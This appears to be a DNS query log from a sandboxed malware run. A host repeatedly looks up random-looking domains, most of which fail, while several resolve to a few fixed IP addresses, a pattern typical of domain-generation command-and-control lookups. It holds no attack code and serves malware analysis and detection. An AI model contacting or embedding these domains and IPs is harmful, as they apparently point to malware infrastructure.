Dec 4, 2023 12:32:31.610332012 CET	1.1.1.1	192.168.2.6	0xedd3	Name error (3)	buspeydkzeo.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:31.711802006 CET	1.1.1.1	192.168.2.6	0xaf83	Name error (3)	buspeydkzeo.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:32.165693998 CET	1.1.1.1	192.168.2.6	0x2862	Name error (3)	uoecsc.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:32.510818005 CET	1.1.1.1	192.168.2.6	0xa06a	Name error (3)	uoecsc.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:32.946497917 CET	1.1.1.1	192.168.2.6	0x575f	Name error (3)	sgaeoe.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:33.273680925 CET	1.1.1.1	192.168.2.6	0x2e8b	Name error (3)	sgaeoe.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:33.483939886 CET	1.1.1.1	192.168.2.6	0xc349	Name error (3)	qzyawogcyveiw.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:33.735152960 CET	1.1.1.1	192.168.2.6	0xe91	Name error (3)	qzyawogcyveiw.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:34.170691967 CET	1.1.1.1	192.168.2.6	0x5587	Name error (3)	usciivmkgqu.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:34.508771896 CET	1.1.1.1	192.168.2.6	0x4e4c	Name error (3)	usciivmkgqu.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:34.715354919 CET	1.1.1.1	192.168.2.6	0x8638	No error (0)	gmsezwrei.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:35.417675018 CET	1.1.1.1	192.168.2.6	0x9358	No error (0)	utbidet-ugeas.biz		167.99.35.88	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:36.059371948 CET	1.1.1.1	192.168.2.6	0xd9a6	No error (0)	utbidet-ugeas.biz		167.99.35.88	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:36.730676889 CET	1.1.1.1	192.168.2.6	0xdcfe	Name error (3)	cgcwwgsmjiewqm.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:36.920605898 CET	1.1.1.1	192.168.2.6	0xdb8e	Name error (3)	cgcwwgsmjiewqm.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:37.344517946 CET	1.1.1.1	192.168.2.6	0x489f	Name error (3)	cebwyohyy.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:37.676539898 CET	1.1.1.1	192.168.2.6	0xd2f4	Name error (3)	cebwyohyy.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:37.991501093 CET	1.1.1.1	192.168.2.6	0x16cb	Name error (3)	ebxaoqdog.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:38.185606003 CET	1.1.1.1	192.168.2.6	0xc0d1	Name error (3)	ebxaoqdog.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:38.892910957 CET	1.1.1.1	192.168.2.6	0xfe98	Name error (3)	gwemlwwftqqka.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:39.664829016 CET	1.1.1.1	192.168.2.6	0x8f02	Name error (3)	gwemlwwftqqka.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:41.337830067 CET	1.1.1.1	192.168.2.6	0xdc55	Name error (3)	lkkuezi.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:41.438817024 CET	1.1.1.1	192.168.2.6	0x68f7	Name error (3)	lkkuezi.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:41.733057976 CET	1.1.1.1	192.168.2.6	0x616c	Name error (3)	zgumsqapwvk.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:41.924614906 CET	1.1.1.1	192.168.2.6	0x8bc6	Name error (3)	zgumsqapwvk.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:42.228584051 CET	1.1.1.1	192.168.2.6	0x5bf6	No error (0)	ajrmbqgav.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:43.341197968 CET	1.1.1.1	192.168.2.6	0x1bf0	Name error (3)	isfig.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:43.439531088 CET	1.1.1.1	192.168.2.6	0xbe9f	Name error (3)	isfig.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:43.732973099 CET	1.1.1.1	192.168.2.6	0x9716	Name error (3)	gkwiyutwunt.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:43.922985077 CET	1.1.1.1	192.168.2.6	0xd0e1	Name error (3)	gkwiyutwunt.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:44.215675116 CET	1.1.1.1	192.168.2.6	0x429b	Name error (3)	smlngbwqouy.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:44.408484936 CET	1.1.1.1	192.168.2.6	0x17aa	Name error (3)	smlngbwqouy.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:44.860764027 CET	1.1.1.1	192.168.2.6	0x2adc	Name error (3)	nouneqklaffud.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:45.195497990 CET	1.1.1.1	192.168.2.6	0x24a1	Name error (3)	nouneqklaffud.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:45.562863111 CET	1.1.1.1	192.168.2.6	0xfb42	Name error (3)	kqllhsegdsco.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:45.660670996 CET	1.1.1.1	192.168.2.6	0x9c22	Name error (3)	kqllhsegdsco.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:45.872030020 CET	1.1.1.1	192.168.2.6	0xda99	Name error (3)	qqfrwotax.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:45.970068932 CET	1.1.1.1	192.168.2.6	0xc0e6	Name error (3)	qqfrwotax.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:46.407887936 CET	1.1.1.1	192.168.2.6	0x80c1	Name error (3)	pwcuk.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:46.757127047 CET	1.1.1.1	192.168.2.6	0x4bc2	Name error (3)	pwcuk.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:46.966583014 CET	1.1.1.1	192.168.2.6	0x74c6	Name error (3)	xonickjefqu.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:47.063834906 CET	1.1.1.1	192.168.2.6	0xbbd4	Name error (3)	xonickjefqu.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:47.355591059 CET	1.1.1.1	192.168.2.6	0xdd60	Name error (3)	iwkccqvnmiiuu.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:47.457037926 CET	1.1.1.1	192.168.2.6	0x3b53	Name error (3)	iwkccqvnmiiuu.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:47.766002893 CET	1.1.1.1	192.168.2.6	0xca47	Name error (3)	gkslykqk.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:47.956476927 CET	1.1.1.1	192.168.2.6	0x2d3b	Name error (3)	gkslykqk.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:48.172904968 CET	1.1.1.1	192.168.2.6	0xeb6a	No error (0)	batyksmcepg.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:49.330591917 CET	1.1.1.1	192.168.2.6	0xf5ec	Name error (3)	wypoaqci.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:49.437803030 CET	1.1.1.1	192.168.2.6	0x5107	Name error (3)	wypoaqci.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:49.730283976 CET	1.1.1.1	192.168.2.6	0x9ad9	Name error (3)	ztkmyqiifuya.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:49.920008898 CET	1.1.1.1	192.168.2.6	0xba82	Name error (3)	ztkmyqiifuya.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:50.854552984 CET	1.1.1.1	192.168.2.6	0xdf8e	Name error (3)	cgwnoxhquvm.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:50.955786943 CET	1.1.1.1	192.168.2.6	0x49fa	Name error (3)	cgwnoxhquvm.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:51.425440073 CET	1.1.1.1	192.168.2.6	0x3492	Name error (3)	ouavqkeoy.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:51.522914886 CET	1.1.1.1	192.168.2.6	0xe300	Name error (3)	ouavqkeoy.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:51.896217108 CET	1.1.1.1	192.168.2.6	0x85d8	Name error (3)	xuwslaxpl.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:51.996581078 CET	1.1.1.1	192.168.2.6	0xd	Name error (3)	xuwslaxpl.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:52.356178999 CET	1.1.1.1	192.168.2.6	0xfa2a	Name error (3)	ghkekijca.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:52.607253075 CET	1.1.1.1	192.168.2.6	0x48d2	Name error (3)	ghkekijca.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:52.810045958 CET	1.1.1.1	192.168.2.6	0xc152	No error (0)	ywgyfzrcdoaye.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:53.903635979 CET	1.1.1.1	192.168.2.6	0x2651	No error (0)	ukwww.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:55.167057037 CET	1.1.1.1	192.168.2.6	0xb5f7	Name error (3)	facooqj.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:55.273056030 CET	1.1.1.1	192.168.2.6	0x3f3c	Name error (3)	facooqj.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:55.637537003 CET	1.1.1.1	192.168.2.6	0x39b4	No error (0)	kuwknmq.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:56.840976000 CET	1.1.1.1	192.168.2.6	0x3a9a	No error (0)	weeacoxswflw.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:59.608030081 CET	1.1.1.1	192.168.2.6	0x4954	Name error (3)	hsasoeojcwc.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:59.705974102 CET	1.1.1.1	192.168.2.6	0xdfdc	Name error (3)	hsasoeojcwc.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:00.194798946 CET	1.1.1.1	192.168.2.6	0x6c97	Name error (3)	kwuaq.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:00.394556046 CET	1.1.1.1	192.168.2.6	0x3dcd	Name error (3)	kwuaq.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:00.612317085 CET	1.1.1.1	192.168.2.6	0xe4e1	No error (0)	uadcmeomsyu.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:01.828900099 CET	1.1.1.1	192.168.2.6	0xe464	Name error (3)	coaddzqwaasp.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:02.071335077 CET	1.1.1.1	192.168.2.6	0x5a41	Name error (3)	coaddzqwaasp.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:02.341386080 CET	1.1.1.1	192.168.2.6	0x536e	No error (0)	xnvcnocfsecx.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:03.479836941 CET	1.1.1.1	192.168.2.6	0x75f9	Name error (3)	jaexai.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:03.587568998 CET	1.1.1.1	192.168.2.6	0x4c8d	Name error (3)	jaexai.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:03.795712948 CET	1.1.1.1	192.168.2.6	0xa114	Name error (3)	umekwkisi.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:04.056694984 CET	1.1.1.1	192.168.2.6	0x551a	Name error (3)	umekwkisi.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:04.372106075 CET	1.1.1.1	192.168.2.6	0x8d4c	Name error (3)	uqesyqd.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:04.570177078 CET	1.1.1.1	192.168.2.6	0x5b8	Name error (3)	uqesyqd.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:05.000607967 CET	1.1.1.1	192.168.2.6	0x488c	Name error (3)	qfcaeqgdmbwddo.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:05.105133057 CET	1.1.1.1	192.168.2.6	0xaa6c	Name error (3)	qfcaeqgdmbwddo.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:05.470438004 CET	1.1.1.1	192.168.2.6	0xfc68	No error (0)	kyyxw.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:06.697032928 CET	1.1.1.1	192.168.2.6	0xc584	Name error (3)	qzlmsjo.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:06.797156096 CET	1.1.1.1	192.168.2.6	0x41b2	Name error (3)	qzlmsjo.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:07.004194975 CET	1.1.1.1	192.168.2.6	0x3637	Name error (3)	uvxqkcmiebh.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:07.111555099 CET	1.1.1.1	192.168.2.6	0x3687	Name error (3)	uvxqkcmiebh.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:07.410223961 CET	1.1.1.1	192.168.2.6	0x9149	Name error (3)	ucwkz.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:07.510499954 CET	1.1.1.1	192.168.2.6	0xe53d	Name error (3)	ucwkz.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:07.810604095 CET	1.1.1.1	192.168.2.6	0x5b56	Name error (3)	xcuygzgyr.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:08.006170988 CET	1.1.1.1	192.168.2.6	0x2540	Name error (3)	xcuygzgyr.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:08.376264095 CET	1.1.1.1	192.168.2.6	0x86fd	No error (0)	juafu.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:09.767210007 CET	1.1.1.1	192.168.2.6	0xf6ac	Name error (3)	dyxum.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:10.122757912 CET	1.1.1.1	192.168.2.6	0x8f77	Name error (3)	dyxum.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:10.596311092 CET	1.1.1.1	192.168.2.6	0x6a0d	Name error (3)	gwyjew.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:10.958286047 CET	1.1.1.1	192.168.2.6	0x7851	Name error (3)	gwyjew.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:11.168817043 CET	1.1.1.1	192.168.2.6	0xd856	Name error (3)	kiwkvwcge.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:11.273066998 CET	1.1.1.1	192.168.2.6	0xafc7	Name error (3)	kiwkvwcge.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:11.574418068 CET	1.1.1.1	192.168.2.6	0x236c	Name error (3)	fzgbs.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:11.767740965 CET	1.1.1.1	192.168.2.6	0x700	Name error (3)	fzgbs.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:11.980856895 CET	1.1.1.1	192.168.2.6	0x371f	Name error (3)	vlcgwazanccbn.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:12.079245090 CET	1.1.1.1	192.168.2.6	0xae10	Name error (3)	vlcgwazanccbn.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:12.448971033 CET	1.1.1.1	192.168.2.6	0x6eca	No error (0)	byyriapcqmwau.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:13.635164022 CET	1.1.1.1	192.168.2.6	0x67b0	No error (0)	oqeyuwi.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:15.129761934 CET	1.1.1.1	192.168.2.6	0x265b	Name error (3)	kxmookcfomeyi.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:17.072268009 CET	1.1.1.1	192.168.2.6	0x4a33	Name error (3)	kxmookcfomeyi.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:17.279061079 CET	1.1.1.1	192.168.2.6	0xe5e4	Name error (3)	qikaefe.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:17.379303932 CET	1.1.1.1	192.168.2.6	0x4555	Name error (3)	qikaefe.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:17.590388060 CET	1.1.1.1	192.168.2.6	0x6cb1	Name error (3)	riobcwfowacouc.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:17.782111883 CET	1.1.1.1	192.168.2.6	0xd938	Name error (3)	riobcwfowacouc.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:17.995296001 CET	1.1.1.1	192.168.2.6	0x4aac	Name error (3)	lawkkic.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:18.095845938 CET	1.1.1.1	192.168.2.6	0x2cd5	Name error (3)	lawkkic.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:18.387245893 CET	1.1.1.1	192.168.2.6	0x351d	Name error (3)	kaccimyquxifj.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:18.583865881 CET	1.1.1.1	192.168.2.6	0x9158	Name error (3)	kaccimyquxifj.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:18.793622017 CET	1.1.1.1	192.168.2.6	0xf15a	No error (0)	ickafg.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:20.170288086 CET	1.1.1.1	192.168.2.6	0xcfc4	Name error (3)	lkazkqnqlcs.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:20.504542112 CET	1.1.1.1	192.168.2.6	0x27b6	Name error (3)	lkazkqnqlcs.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:20.951900005 CET	1.1.1.1	192.168.2.6	0x9983	Name error (3)	qckucorunniiim.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:21.305569887 CET	1.1.1.1	192.168.2.6	0x7ee2	Name error (3)	qckucorunniiim.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:21.603306055 CET	1.1.1.1	192.168.2.6	0xbad8	Name error (3)	ahagz.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:21.794178009 CET	1.1.1.1	192.168.2.6	0xc41f	Name error (3)	ahagz.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:22.001641989 CET	1.1.1.1	192.168.2.6	0xff4f	Name error (3)	epqvgnoqqc.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:22.100889921 CET	1.1.1.1	192.168.2.6	0xca72	Name error (3)	epqvgnoqqc.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:22.310141087 CET	1.1.1.1	192.168.2.6	0xd24d	No error (0)	mmaccrr.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:23.500453949 CET	1.1.1.1	192.168.2.6	0xb635	Name error (3)	mhydmmzuo.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:23.701687098 CET	1.1.1.1	192.168.2.6	0x2e38	Name error (3)	mhydmmzuo.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:24.068567991 CET	1.1.1.1	192.168.2.6	0xbeae	No error (0)	goeowontyyzia.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:24.891470909 CET	1.1.1.1	192.168.2.6	0xa052	No error (0)	utbidet-ugeas.biz		167.99.35.88	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:25.842470884 CET	1.1.1.1	192.168.2.6	0xaebb	Name error (3)	uihemgn.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:26.667346954 CET	1.1.1.1	192.168.2.6	0x695a	Name error (3)	uihemgn.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:26.872385025 CET	1.1.1.1	192.168.2.6	0xd5fd	Name error (3)	glyaguaikeq.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:27.123188972 CET	1.1.1.1	192.168.2.6	0x939	Name error (3)	glyaguaikeq.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:27.423362017 CET	1.1.1.1	192.168.2.6	0x208b	Name error (3)	gozeewgdu.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:27.630954027 CET	1.1.1.1	192.168.2.6	0x68c8	Name error (3)	gozeewgdu.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:28.087131977 CET	1.1.1.1	192.168.2.6	0x4a0e	Name error (3)	kbwwktoqyiiwk.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:28.441319942 CET	1.1.1.1	192.168.2.6	0x64b8	Name error (3)	kbwwktoqyiiwk.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:28.818960905 CET	1.1.1.1	192.168.2.6	0xd138	No error (0)	kgbnl.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:29.951925993 CET	1.1.1.1	192.168.2.6	0x80a2	No error (0)	qkdayolch.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:31.200632095 CET	1.1.1.1	192.168.2.6	0x7d70	Name error (3)	kwiiegmdtzxgo.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:31.496714115 CET	1.1.1.1	192.168.2.6	0x4355	Name error (3)	kwiiegmdtzxgo.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:31.939552069 CET	1.1.1.1	192.168.2.6	0x4a7f	Name error (3)	gxsklwkxz.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:32.286539078 CET	1.1.1.1	192.168.2.6	0x3933	Name error (3)	gxsklwkxz.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:32.650670052 CET	1.1.1.1	192.168.2.6	0x9b2	Name error (3)	hmsyergsw.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:32.752226114 CET	1.1.1.1	192.168.2.6	0x12a	Name error (3)	hmsyergsw.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:32.951123953 CET	1.1.1.1	192.168.2.6	0xd74	Name error (3)	ovssbbpasyk.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:33.276185989 CET	1.1.1.1	192.168.2.6	0x80c2	Name error (3)	ovssbbpasyk.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:33.482923985 CET	1.1.1.1	192.168.2.6	0xe427	No error (0)	qnokcoiegm.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:33.771580935 CET	1.1.1.1	192.168.2.6	0x33dc	No error (0)	utbidet-ugeas.biz		167.99.35.88	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:34.717963934 CET	1.1.1.1	192.168.2.6	0x456b	No error (0)	gifwhb.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:35.206902981 CET	1.1.1.1	192.168.2.6	0xb849	No error (0)	utbidet-ugeas.biz		167.99.35.88	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:36.378029108 CET	1.1.1.1	192.168.2.6	0xca11	Name error (3)	wamitiwocibqm.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:36.722960949 CET	1.1.1.1	192.168.2.6	0x97a4	Name error (3)	wamitiwocibqm.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:37.025449038 CET	1.1.1.1	192.168.2.6	0x4559	Name error (3)	bussouscmjn.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:37.219547987 CET	1.1.1.1	192.168.2.6	0x7ac5	Name error (3)	bussouscmjn.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:37.440450907 CET	1.1.1.1	192.168.2.6	0x4683	No error (0)	vjqyzecseiwlb.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:38.184300900 CET	1.1.1.1	192.168.2.6	0x3fe9	No error (0)	utbidet-ugeas.biz		167.99.35.88	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:39.140155077 CET	1.1.1.1	192.168.2.6	0x79dd	Name error (3)	cuawhpaefon.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:39.256412029 CET	1.1.1.1	192.168.2.6	0xe30e	Name error (3)	cuawhpaefon.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:39.466970921 CET	1.1.1.1	192.168.2.6	0x9105	No error (0)	weaqcosbwtqx.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:39.917965889 CET	1.1.1.1	192.168.2.6	0x2940	No error (0)	utbidet-ugeas.biz		167.99.35.88	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:41.023478031 CET	1.1.1.1	192.168.2.6	0xfde0	Name error (3)	tykssskucyfih.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:41.225610971 CET	1.1.1.1	192.168.2.6	0xc24b	Name error (3)	tykssskucyfih.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:41.440057993 CET	1.1.1.1	192.168.2.6	0xa31	Name error (3)	gsomh.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:41.698391914 CET	1.1.1.1	192.168.2.6	0xdbe2	Name error (3)	gsomh.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:42.143490076 CET	1.1.1.1	192.168.2.6	0xb72	Name error (3)	smtsg.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:42.486537933 CET	1.1.1.1	192.168.2.6	0x849	Name error (3)	smtsg.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:42.704771042 CET	1.1.1.1	192.168.2.6	0xb2	Name error (3)	jkpuc.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:42.810146093 CET	1.1.1.1	192.168.2.6	0xb37	Name error (3)	jkpuc.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:43.265389919 CET	1.1.1.1	192.168.2.6	0x5149	Name error (3)	ayvoq.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:43.608602047 CET	1.1.1.1	192.168.2.6	0x7bef	Name error (3)	ayvoq.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:43.924737930 CET	1.1.1.1	192.168.2.6	0x1ee	Name error (3)	kcmkgcg.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:44.128334045 CET	1.1.1.1	192.168.2.6	0xcb2c	Name error (3)	kcmkgcg.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:44.437745094 CET	1.1.1.1	192.168.2.6	0x2e23	Name error (3)	zxgiyfyxkmoyh.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:44.641249895 CET	1.1.1.1	192.168.2.6	0x4ae6	Name error (3)	zxgiyfyxkmoyh.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:45.103075981 CET	1.1.1.1	192.168.2.6	0xbd48	Name error (3)	qqacnyk.tk	none	none	A (IP address)	IN (0x0001)	false
